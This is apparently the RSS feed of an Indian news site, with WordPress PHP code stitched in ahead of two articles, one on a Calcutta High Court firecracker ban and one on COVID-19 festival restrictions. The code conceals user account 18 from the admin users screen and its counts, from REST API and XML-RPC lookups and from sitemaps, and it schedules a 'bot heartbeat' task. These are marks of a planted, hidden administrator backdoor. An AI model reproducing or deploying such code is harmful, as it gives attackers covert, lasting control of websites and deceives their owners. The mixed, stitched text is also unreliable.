add_action( 'pre_get_posts', function( $q ) {
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add_action( 'pre_get_users', function( $q ) {
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add_filter( 'wp_dropdown_users_args', function( $a ) {
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    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
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        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
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                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

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					<description><![CDATA[<p>During the impending Diwali/Kali Puja festivities in West Bengal, the Calcutta High Court ordered a blanket prohibition on the use and sale of all types of firecrackers, including green crackers. The whole prohibition on firecrackers will be in effect for the rest of the year&#8217;s festivities, including Chhath Puja, Guru Nanak Jayanti, Christmas, and New [&#8230;]</p>
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										<content:encoded><![CDATA[<p>During the impending Diwali/Kali Puja festivities in West Bengal, the Calcutta High Court ordered a blanket prohibition on the use and sale of all types of firecrackers, including green crackers. The whole prohibition on firecrackers will be in effect for the rest of the year&#8217;s festivities, including Chhath Puja, Guru Nanak Jayanti, Christmas, and New Year&#8217;s celebrations.</p>
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<p>The Court was hearing a Public Interest Litigation (PIL) petition filed by environmental activist Roshni Ali, who asked for a ban on the sale and use of firecrackers during the upcoming festivities to protect people&#8217;s right to clean, healthy, and breathable air, especially in the wake of the deadly Covid-19 pandemic.</p>
<p>The post <a href="https://theedgemedia.in/firecrackers-are-prohibited-in-west-bengal-during-diwali-and-other-festivals-according-to-the-calcutta-high-court">Firecrackers are prohibited in West Bengal during Diwali and other festivals, according to the Calcutta High Court</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Festivals need to be celebrated in a restrictive manner : Dr VK Paul</title>
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					<description><![CDATA[<p>India is still not out of the woods when it comes to the second wave of COVID-19 and people should celebrate festivals like Diwali, Eid and Ganesh Chaturthi at home without gathering in large numbers, the Health Ministry said on Thursday. &#8220;Festivals are like Ganesh Chaturthi, Diwali and Eid coming. This year too, like the [&#8230;]</p>
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										<content:encoded><![CDATA[<p>India is still not out of the woods when it comes to the second wave of COVID-19 and people should celebrate festivals like Diwali, Eid and Ganesh Chaturthi at home without gathering in large numbers, the Health Ministry said on Thursday.</p>
<p>&#8220;Festivals are like Ganesh Chaturthi, Diwali and Eid coming. This year too, like the last year, they will need to be celebrated in a restrictive manner, and it is our appeal to all to stay at home,&#8221; Dr VK Paul, member of the government&#8217;s think tank NITI Aayog and chief of the COVID-19 task force on COVID-19 said.</p>
<p>&#8220;Like last year, festivals need to be celebrated in a subdued manner. Wearing masks is an absolute must while in any public place,&#8221; he added, speaking at the Health Ministry&#8217;s news briefing on the coronavirus pandemic.</p>
<p>Dr Balram Bhargava, Director-General at the Indian Council of Medical Research (ICMR), said, &#8220;We are still in the second wave of COVID-19 and hence appeal to all in the country to continue with all Covid restrictions in your area. Follow COVID-19 SOPs (Standard Operating Procedures) and maintain Covid-appropriate behaviour.&#8221;</p>
<p>India reported the biggest single-day rise in COVID-19 cases in two months on Thursday, amid concerns about the virus spreading from the most-affected Kerala, schools reopening, and the start of the festival season.</p>
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